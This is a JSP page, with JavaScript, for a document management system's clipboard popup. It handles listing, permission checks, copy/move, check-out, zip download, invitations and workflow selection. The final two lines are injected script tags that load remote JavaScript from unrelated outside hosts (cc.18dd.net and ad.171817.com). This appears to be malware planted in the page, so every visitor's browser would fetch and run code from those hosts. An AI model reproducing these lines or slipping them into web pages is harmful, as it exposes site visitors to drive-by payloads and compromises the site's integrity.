    var checkinDirectPage="DMS.CLIPBOARD";
    frm.opMode.value="DMS.CLIPBOARD.CHECK_OUT";
    frm.navMode.value=navMode;
    frm.parentID.value=parentID;
    frm.rootID.value=rootID;
    frm.action="<%= request.getContextPath() %>/dms/MaintDmsCheckout.do?documentID="+documentID+"&curFunctionCode="+curFunctionCode+"&directPage="+checkinDirectPage+"&rootID="+rootID+"&parentID="+parentID;
    frm.submit();
  }
  return false;
  }
}

function getWorkflowRutine(documentID){
  //document.maintDmsDocumentForm.wfRecordID_ documentID.value
  //alert(document.getElementById("wfRecordID_"+documentID));
}
-->
</script>
<html:form type="listDmsClipboardForm" action="dms/ListDmsClipboard" onsubmit="return(false)" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="pageViewOption"/>
<html:hidden property='copyFileOpt' value='<%=DmsOperationConstant.COPY_OPERATION_AS_NEW%>'/>
<html:hidden property="rootID"/>
<html:hidden property="parentID"/>
<html:hidden property="ignoreDeleteShortcut"/>
<input type="hidden" name='homePageFunctionCode'>

<div class="popupPanelTitle">
	<bean:message key="dms.label.clipboard"/>
</div>

<div class="popupWrapperContainer">
<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
    	<html:colheaderButton label="dms.label.field_detail" onClick="return OpRemove()"/>
     <%if(showDownload){%>
       <html:colheaderButton label="dms.label.download_zip" onClick="return opClipboardZipDownload()"/>
      <%}%>
     <html:colheaderButton label="common.label.delete" onClick="return OpCustListDelete(listDmsClipboardForm)"/> 
     <html:colheaderButton label="audit.label.access_type_CO" onClick="return OpMulitpleCheckOut(listDmsClipboardForm)"/> 
     <html:colheaderButton label="dms.label.invitation" onClick="return popupInvitation()"/>
    </div>
    </layout:listBar>
<!-- Page List Bar End -->
<html:beanSorter id='sortedList' name='dmsClipbordList' scope='request' sortAttribute='<%=sortAttribute%>' prefix='<%=prefix%>'
sortOrder='<%=sortOrder%>'/>
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
    <layout:columnHeader form="listDmsClipboardForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsClipboardForm.getSortAttribute()%>" sortOrder="<%=listDmsClipboardForm.getSortOrder()%>" copyColumn="false" editLabel=""/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
<%
  String docID="";
  String dmsType="";
  DmsDocument dmsDocument2= new DmsDocument();
  if(listDmsClipboardForm.getBasicSelectedID()!=null){
    String [] idAry =listDmsClipboardForm.getBasicSelectedID();
    for(int i=0;i<idAry.length;i++){
      docID = idAry[i]+","+docID;
      dmsDocument2=docRetrievalManager.getDocument(TextUtility.parseIntegerObj(idAry[i]));

    }
  }
%>
  <logic:iterate id="dmsDocument" name="sortedList" scope="request" indexId="listLoopCnt">
  <%
    //Permission string
    permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, ((AbstractBaseObject)dmsDocument).getID());
      String tmpRootID = targetRootID;
    if (!DmsVersion.ARCHIVED_STATUS.equals(docItemStatus)) {
      String targetType="";
      if(DmsDocument.DOCUMENT_LINK.equals(((DmsDocument)dmsDocument).getDocumentType())){
        DmsDocument  newDocument = docRetrievalManager.getRelationshipTargetDocument(((AbstractBaseObject)dmsDocument).getID(),DmsDocument.DOCUMENT_LINK);

        if (newDocument!=null){
          if(!newDocument.getRootID().equals(docRetrievalManager.getRootID())){
              permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, newDocument.getID());
          }

        }
      }
    }



  if (Utility.isEmpty(permission)){ %>
    <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>" >

     <td align="center">
      <html:checkbox property="basicSelectedID" value="<%=((AbstractBaseObject)dmsDocument).getID().toString()%>" onclick="return(false);" disabled='true' />
      <input type="hidden" name="documentType" value="<bean:write name='dmsDocument' property='documentType'/>">
      <input type="hidden" name="docItemStatus" value='<%=docItemStatus%>'/>

    </td>
  <%}else{%>
    <tr id="tr<%=((AbstractBaseObject)dmsDocument).getID()%>" onMouseDown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsDocument).getID()%>);">

    <td align="center">
      <html:checkbox property="basicSelectedID" value="<%=((AbstractBaseObject)dmsDocument).getID().toString()%>" onclick="return(false);"/>
      <input type="hidden" name="documentType" value="<bean:write name='dmsDocument' property='documentType'/>">
      <input type="hidden" name="docItemStatus" value='<%=docItemStatus%>'/>
    </td>
  <%}%>

    <% //Details for Menu items
    DmsCheckoutHistory checkoutHistory = new DmsCheckoutHistory();
    Integer checkoutPersonID = new Integer("0");
     docItemStatus = ((DmsDocument) dmsDocument).getItemStatus();
    if (DmsVersion.EXCLUSIVE_LOCK.equals(docItemStatus)) {
       checkoutHistory = (DmsCheckoutHistory) verControlManager.getCheckoutHistory(((DmsDocument) dmsDocument).getCheckoutID());
       checkoutPersonID = checkoutHistory.getCheckoutPersonID();
    }

    documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(((DmsDocument) dmsDocument).getRootID());
    DmsRoot dmsRoot = (DmsRoot)dmsRootDAObject.getObjectByID(((DmsDocument) dmsDocument).getRootID());
    dmsType=dmsRoot.getRootType();
    request.setAttribute("permission",permission);
    Integer docID1= ((AbstractBaseObject)dmsDocument).getID();
    Integer rootID       = ((DmsDocument)dmsDocument).getRootID();
    Integer parentID     = ((DmsDocument)dmsDocument).getParentID();
    String documentType  = ((DmsDocument)dmsDocument).getDocumentType();
    DmsDocument documentRoot1 = docRetrievalManager.getRootFolderByRootID(rootID);
  if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot1.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    %>
    <script language="JavaScript">
    <!--
    rootIDArray[rootIDArray.length]="<%=rootID%>"
    docIDArray[docIDArray.length]="<%=docID1%>";
    parentIDArray[parentIDArray.length]="<%=parentID%>";
    documentTypeArray[documentTypeArray.length]="<%=documentType%>";
    permissionArray[permissionArray.length]="<%=permission%>";
    sCurFunctionCodeArray[sCurFunctionCodeArray.length]="<%=sCurFunctionCode%>"
    -->
    </script>
  <%if ((permission != null && permission.indexOf("D") < 0) && "U".equals(dmsType)) {
      %>
      <script language="JavaScript">
      <!--
      notAllowDeleteIDAry[notAllowDeleteIDAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
      //-->
      </script>
      <%
    }
    %>
    <%if ((permission != null && permission.indexOf("R") < 0) && "U".equals(dmsType)) {
      %>
      <script language="JavaScript">
      <!--
      notAllowDownLoadIDAry[notAllowDownLoadIDAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
      //-->
      </script>
      <%
    }
    %>
    <%if ((permission != null && permission.indexOf("T") < 0) && "U".equals(dmsType)) {
      %>
      <script language="JavaScript">
      <!--
      notAllowCheckOutIDAry[notAllowCheckOutIDAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
      //-->
      </script>
      <%
    }
    %>
    <%if ((permission != null && permission.indexOf("V") < 0) && "U".equals(dmsType)) {
      %>
      <script language="JavaScript">
      <!--
      notAllowInvitationAry[notAllowInvitationAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
      //-->
      </script>
      <%
    }%>
    <%if ((permission != null && permission.indexOf("L") < 0) && "U".equals(dmsType)) {
      %>
      <script language="JavaScript">
      <!--
      notAllowSendEmailAry[notAllowSendEmailAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
      //-->
      </script>
      <%
    }%>
    <%if (DmsDocument.DOCUMENT_LINK.equals(((DmsDocument) dmsDocument).getDocumentType())){
      DmsDocument targetDoc =docRetrievalManager.getRelationshipTargetDocument(((DmsDocument)dmsDocument).getID(),((DmsDocument)dmsDocument).getDocumentType());
      //joan.xiong update code for bug EIP-1257 by 2007/01/26
      //if("Z".equals(targetDoc.getDocumentType())){
      if(!Utility.isEmpty(targetDoc) && "Z".equals(targetDoc.getDocumentType())){
      //joan.xiong update code end%>
      <script language="JavaScript">
       <!--
        folderShortCutAry[folderShortCutAry.length] = "<%=((AbstractBaseObject)dmsDocument).getID()%>";
       //-->
      </script>

     <% }
     }%>
    <td align="center">
        <input type="hidden" name="parentID" value='<%=parentID%>'>
    <input type="hidden" name="rootID" value='<%=rootID%>'>
        <input type="hidden" name="dmsType" value='<%=dmsType%>'>
    <%
      if (GlobalConstant.PRIORITY_HIGH.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityHigh.gif'  align='absmiddle'/><%
      } else if (GlobalConstant.PRIORITY_MEDIUM.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityMedium.gif'  align='absmiddle'/><%
      } else if (GlobalConstant.PRIORITY_LOW.equals(((DmsDocument)dmsDocument).getPriority())) {
        %><html:img src='IconPriorityLow.gif'  align='absmiddle'/><%
      }
    %>
    </td>

    <td nowrap width="300">
      <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' onClick='false' permission='<%=permission%>'/>
    </td>
      <td align="center" class="bodyVerySmall" nowrap width="100">
        <input type="hidden" name='itemStatus_<bean:write name='dmsDocument' property='ID'/>' value='<%=docItemStatus%>' />
        <input type="hidden" name='dmsType_<bean:write name='dmsDocument' property='ID'/>' value='<%=dmsType%>' />
        <input type="hidden" name='docItemStatus_<bean:write name='dmsDocument' property='ID'/>' value='<%=docItemStatus%>' />
        <input type="hidden" name='documentType_<bean:write name='dmsDocument' property='ID'/>' value="<bean:write name='dmsDocument' property='documentType'/>" />
        <dms:documentStatus target="opener"/>
    <input type="hidden" name="hasRelationship" value="<bean:write name='dmsDocument' property='hasRelationship'/>">
    </td>
    <td align="center" nowrap>
      <%if (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType())) {
          int itemSize = ((DmsDocument) dmsDocument).getItemSize().intValue();
          out.println(TextUtility.formatFileSize(itemSize));
        } else {%>
          <%
                        /*
                         *  Update Code Start
                         *  Author              Jim.Zhou
                         *  Date                    2006/05/19
                         *  Bug                     #5393
                         */
                        if (!Utility.isEmpty(((DmsDocument)dmsDocument).getItemSize())){
                            int itemSize = ((DmsDocument)dmsDocument).getItemSize().intValue();
                            out.println(TextUtility.formatFileSize(itemSize));
                        } else {
                            out.println("-");
                        }
            //int itemSize = ((DmsDocument)dmsDocument).getItemSize().intValue();
            //out.println(TextUtility.formatFileSize(itemSize));
                        /*
                         *  Update Code End
                         */
          %>
        <%}%>
    </td>
    <td><dms:locationPath parentID="<%=((DmsDocument)dmsDocument).getParentID()%>" rootID="<%=((DmsDocument)dmsDocument).getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' showAllPath="false" indexFlag='showIndexFlag'/><input type="hidden" name="permission" value='<%=permission%>'></td>
    <script langugage="javascript">
       parentIDS[docIndex][0] = <%=((DmsDocument)dmsDocument).getID()%>
       parentIDS[docIndex++][1] = <%=((DmsDocument)dmsDocument).getParentID()%>;
    </script>
    <td>
    <select name="doc<bean:write name='listLoopCnt'/>" style="font-size:11px">
      <option value="<%=DmsOperationConstant.COPY_ALL_VERSIONS%>"><bean:message key='dms.label.copy_version_all'/></option>
      <option value="<%=DmsOperationConstant.COPY_TOP_VERSION%>"><bean:message key='dms.label.copy_version_top'/></option>
     </select>
          <input type='hidden' name='copyOnly<bean:write name='listLoopCnt'/>' value='<%=DmsOperationConstant.NO_STRUCTURE_COPY%>' />
          </td>
  
   <!--td>
    <select name="copyOnly<bean:write name='listLoopCnt'/>" style="font-size:11px">
      <option value='<%=DmsOperationConstant.NO_STRUCTURE_COPY%>'><bean:message key='dms.label.copy_structure_false'/></option>
      <option value='<%=DmsOperationConstant.COPY_STRUCTURE_ONLY%>'><bean:message key='dms.label.copy_structure_true'/></option>
     </select>
   </td-->
  </tr>
  <%
    List workflowRecordList = new ArrayList();
    List udfWorkflowRecordList = new ArrayList();
    //bill add for EIP-1499 start
    if(targetFolderIsPublic&&!Utility.isEmpty(publicWorkflowRecordList)){
    	workflowRecordList.addAll(publicWorkflowRecordList);
    }else{
      String objectID=((DmsDocument)dmsDocument).getRootID().toString();
      publicWorkflowRecordList = documentOperationManager.getDmsRecordBindWorkflowList(com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_DOCUMENT,GlobalConstant.OBJECT_TYPE_DOCUMENT,targetRootID);
      workflowRecordList.addAll(publicWorkflowRecordList);
    }
    publicWorkflowRecordList.clear();
    //bill add for EIP-1499 end
    if(!Utility.isEmpty(((DmsDocument)dmsDocument).getUserDefinedFieldID())){
      udfWorkflowRecordList = documentOperationManager.getDmsRecordBindWorkflowList(com.dcivision.workflow.core.SystemWorkflowConstant.DMS_CREATE_PUBLIC_UDF_DOCUMENT,GlobalConstant.OBJECT_TYPE_UDF,((DmsDocument)dmsDocument).getUserDefinedFieldID().toString());
      if(!Utility.isEmpty(udfWorkflowRecordList)){
        if (!DmsOperationConstant.DMS_PERSONAL_ROOT.equals(DestDocumentRoot.getDocumentName())) {
            workflowRecordList = udfWorkflowRecordList;
            tmpRootID = rootID.toString();
          }
      }
  }
    //Bill add for EIP-1050
    //if (!Utility.isEmpty(workflowRecordList) && !DmsDocument.FOLDER_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType())) {
    if (!Utility.isEmpty(workflowRecordList)
       && (DmsDocument.DOCUMENT_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType())|| DmsDocument.COMPOUND_DOC_TYPE.equals(((DmsDocument)dmsDocument).getDocumentType()))) {
      String[][] tmpAry = new String[workflowRecordList.size()][];
      for (int i = 0; i < workflowRecordList.size(); i++) {
        /*if (workflowRecordList.size() == 1) {
          actionForm.setWorkflowRecordID(((WorkflowRecord)workflowRecordList.get(i)).getID().toString());
        }*/
        tmpAry[i] = new String[] { (((WorkflowRecord)workflowRecordList.get(i)).getWorkflowCode() + " - " + ((WorkflowRecord)workflowRecordList.get(i)).getDescription() + " (" + ((WorkflowRecord)workflowRecordList.get(i)).getWorkflowVersion() + ")"), ((WorkflowRecord)workflowRecordList.get(i)).getID().toString()+"|"+((WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDate()+"|"+((WorkflowRecord)workflowRecordList.get(i)).getNextStepDynamicAssignDueDateCount() };
      }
      if (workflowRecordList.size() > 1) {
        editFlag = true;
      }
  %>
  <tr>
    <td colspan="<%=LABEL_MAP.length+COLUMN_OFFSET%>">
      <bean:message key='workflow.label.workflow_routine'/>:&nbsp;
      <a href="" onClick='return OpenCenteredPopup("<%=request.getContextPath()%>/dms/EditWorkflowRoutine.do?rootID=<%=rootID%>&curFunctionCode=<%=DestFunctionCode%>&userDefinedFieldID=<%=Utility.isEmpty(((DmsDocument)dmsDocument).getUserDefinedFieldID())?"":((DmsDocument)dmsDocument).getUserDefinedFieldID().toString()%>&documentID=<bean:write name='dmsDocument' property='ID'/>&workflowRecordID="<%= editFlag ? (" + document." + formName + ".wfRecordID_" +
((AbstractBaseObject)dmsDocument).getID() +".value")
: (" + \"" + ((WorkflowRecord)workflowRecordList.get(0)).getID()
+ "\"") %>,"DCIVisionWorkflowWin", 800, 400, "scrollbars=yes")'><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      <% if (tmpAry.length==1) { %>
        <%=tmpAry[0][0]%><input type="hidden" name="wfRecordID_<bean:write name='dmsDocument' property='ID'/>" value="<%=tmpAry[0][1]%>">
      <% } else { %>
        <select name="wfRecordID_<bean:write name='dmsDocument' property='ID'/>" style="font-size:11px">
        <%
          for (int i=0; i<tmpAry.length; i++) {
        %>
          <option value="<%=tmpAry[i][1]%>"><%=tmpAry[i][0]%></option>
        <%
          }
        %>
        </select>
      <% } %>
    </td>
  </tr>

  <%
    }
  %>
  </logic:iterate>
 </table>
 </div>

 <!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsClipboardForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

 <div style="margin:20px 0 0 0;height:30px;">
 <div class="div-1-a"><label class="bold-label"><bean:message key="dms.label.target_location"/>:&nbsp;</label></div>
 <div class="div-1-a">
 <dms:folderPicker styleClass="form-style-2-textfield" property="destinationPath" hiddenRootID="targetRootID" hiddenParentID="destinationID" hiddenRootIDValue="<%=targetRootID%>" hiddenParentIDValue="<%=destinationID%>" size="50" refreshCopyMove="true"/>
 </div>
 <div class="div-1-a">
<%int noOfItems = ((List)request.getAttribute(LIST_NAME)).size();%>
<%if ( noOfItems>0 ){%>
<html:standardButton label="common.label.copy" onClick="return OpCopy(listDmsClipboardForm)"/>
<html:standardButton label="dms.label.move" onClick="return OpMove(listDmsClipboardForm);"/>
<%}%>
<%if (GlobalConstant.NAV_MODE_VIEW.equals(listDmsClipboardForm.getNavMode()) && ((DmsOperationConstant.MOVE_OPERATION.equals(listDmsClipboardForm.getOpMode())) || (DmsOperationConstant.COPY_OPERATION.equals(listDmsClipboardForm.getOpMode())))){%>
<!--Go New Destination -->
  <% String actionString = "return checkWindowForAction('"+url+"');"; %>
  <html:standardButton label="dms.lebel.go_destination" onClick='<%=actionString%>'/>
<%}%>
 </div>
</div>

</div>

<div id="popupPanelBottom">
<div id="buttonSection">
    <html:standardButton label="common.label.close" onClick="return closeWindow()"/>
</div>
</div>
<!-- Table Showing Record List End -->
<script language="JavaScript">
<!--
function popupInvitation() {

  var hasChecked = false;
  var docID="";
  var rootID="";
  var documentType="";
  var parentID="";
  var permission="";
  var sCurFunctionCode="";
  var blnNotAllowInvitation=false;
   var blnFolderShortCut=false;
  for (var i = 0; i < document.listDmsClipboardForm.elements.length; i++) {
    if (document.listDmsClipboardForm.elements[i].name == "basicSelectedID") {
      if (document.listDmsClipboardForm.elements[i].checked) {
        hasChecked = true;
   if(parseInt(document.listDmsClipboardForm.basicSelectedID.length)>1){
    for(var i=0;i<parseInt(document.listDmsClipboardForm.basicSelectedID.length);i++){
      if(document.listDmsClipboardForm.basicSelectedID[i].checked==true){
          if(parseInt(notAllowInvitationAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowInvitationAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID[i].value==notAllowInvitationAry[k]){
             document.listDmsClipboardForm.basicSelectedID[i].checked=false;
             blnNotAllowInvitation = true;
             break;
           }
         }
       }
       if(parseInt(folderShortCutAry.length)>0){
         for(var k=0;k<parseInt(parseInt(folderShortCutAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID[i].value==folderShortCutAry[k]){
              document.listDmsClipboardForm.basicSelectedID[i].checked=false;
              blnFolderShortCut = true;
              break;
           }
         }
       }
    if(blnFolderShortCut){
      alert("<bean:message key='dms.message.folder.shortcut_invitation'/>");
      return(false);
    }
   if(blnNotAllowInvitation){
     alert("<bean:message key='dms.message.no_right_invitation'/>");
     return(true);
   }
       if(parseInt(docIDArray.length)>0){
         for(var k=0;k<parseInt(parseInt(docIDArray.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID[i].value==docIDArray[k]){
             docID=document.listDmsClipboardForm.basicSelectedID[i].value+","+docID;
             rootID=rootIDArray[k]+","+rootID;
             parentID=parentIDArray[k]+","+parentID;
             documentType=documentTypeArray[k]+","+documentType;
             permission=permissionArray[k]+","+permission;
             sCurFunctionCode=sCurFunctionCodeArray[k]+","+sCurFunctionCode;
             if(documentTypeArray[k]!='<%=DmsDocument.DOCUMENT_TYPE%>' && documentTypeArray[k]!='<%=DmsDocument.COMPOUND_DOC_TYPE%>' && documentTypeArray[k]!='<%=DmsDocument.EMAIL_DOC_TYPE%>'){
               alert("<bean:message key='dms.message.only_document_invitation'/>");
               return(false);
             }
             break;
           }
         }
       }
      }
    }
  }else{
    if(document.listDmsClipboardForm.basicSelectedID.checked==true){
        if(parseInt(notAllowInvitationAry.length)>0){
         for(var k=0;k<parseInt(parseInt(notAllowInvitationAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID.value==notAllowInvitationAry[k]){
             document.listDmsClipboardForm.basicSelectedID.checked=false;
             blnNotAllowInvitation = true;
             break;
           }
         }
       }
       if(parseInt(folderShortCutAry.length)>0){
         for(var k=0;k<parseInt(parseInt(folderShortCutAry.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID.value==folderShortCutAry[k]){
              document.listDmsClipboardForm.basicSelectedID.checked=false;
              blnFolderShortCut = true;
              break;
           }
         }
       }
    if(blnFolderShortCut){
      alert("<bean:message key='dms.message.folder.shortcut_invitation'/>");
      return(false);
    }
   if(blnNotAllowInvitation){
     alert("<bean:message key='dms.message.no_right_invitation'/>");
     return(true);
   }
       if(parseInt(docIDArray.length)>0){
         for(var k=0;k<parseInt(parseInt(docIDArray.length));k++){
           if(document.listDmsClipboardForm.basicSelectedID.value==docIDArray[k]){
             docID=document.listDmsClipboardForm.basicSelectedID.value+","+docID;
             rootID=rootIDArray[k]+","+rootID;
             parentID=parentIDArray[k]+","+parentID;
             documentType=documentTypeArray[k]+","+documentType;
             permission=permissionArray[k]+","+permission;
             sCurFunctionCode=sCurFunctionCodeArray[k]+","+sCurFunctionCode;
              if(documentTypeArray[k]!='<%=DmsDocument.DOCUMENT_TYPE%>' && documentTypeArray[k]!='<%=DmsDocument.COMPOUND_DOC_TYPE%>' && documentTypeArray[k]!='<%=DmsDocument.EMAIL_DOC_TYPE%>'){
               alert("<bean:message key='dms.message.only_document_invitation'/>");
               return(false);
             }
             break;
           }
         }
       }
    }
  }
        break;
      }
    }
  }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(true);
  }

  var result = operationValidate("INVITATION");
  if (result!="PASS") {
    refreshPage(null,null);
    return (false);
  }

//new  invitation
  //parent.clipbordInvite(docID);
  var parent = window.opener;
  parent.popupInvitation(docID, "M");
  window.close();
}

function operationValidate(operationType){
  var basicSelectedID = document.listDmsClipboardForm.basicSelectedID;
  if(basicSelectedID == null) return false;
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  var urlQueryString = "";
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
    }
  }
  send_request("<%= request.getContextPath() %>/jsp/dms/OperationValidate.jsp?"+urlQueryString+"&operationType="+operationType+"&date="+new Date());
  var validateResult = http_request.responseText;
  return validateResult;
}

<%if ("true".equals(request.getAttribute("SUCCESS_CHECKOUT"))) {%>
function INIT() {
    //joan.xiong update code for bug EIP-1099 by 2006/12/06
    var url = "<%=request.getContextPath()%>/dms/FileZipDownloadServlet?zipFileName=RelatedDocuments";
    <%
        String [] documentIDc = TextUtility.splitString(docID,",");
        for(int n=0;n<documentIDc.length;n++){
            if(!Utility.isEmpty(documentIDc[n])){
                %>url += "&selectID=<%=documentIDc[n]%>";<%
            }
        }
    %>
  window.location.href=url+"&singleDocDownload=true&date="+new Date();
  //window.location.href = "<%= request.getContextPath() %>/jsp/dms/MulitpleFileDownload.jsp?targetID=<%=docID%>&version=TOP&isDownload=Y";
  //joan.xiong update code end
}
<% } %>
<% if("ZIP.DOWNLOAD".equals(listDmsClipboardForm.getOpMode())){%>
function INIT() {
    //Update By Jim.Zhou        2006/08/10      Bug #5992
  //var idArray = new Array(<%=request.getAttribute("ZIP_DOUCMENT_ID")%>);
    var idStr = "<%=request.getAttribute("ZIP_DOUCMENT_ID")%>";
    var idArray = idStr.split(",");
    //Update End
  var url = "<%=request.getContextPath()%>/dms/FileZipDownloadServlet?zipFileName=clipboardZip";
  for (var i=0; i<idArray.length; i++) {
    url += "&selectID="+idArray[i];
  }
  window.location.href=url+"&returnURL="+document.URL+"&date="+new Date();
  //window.location.href = "<%= request.getContextPath() %>/jsp/dms/FileDownloadClip.jsp?ext=.zip";
}
<%}%>
-->
</script>
</html:form>
<!-- Form Section End -->
<%

}catch(Exception e){
  LogFactory.getLog(this.getClass()).error(e, e);
}finally{

  conn.close();
  conn=null;
}

%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>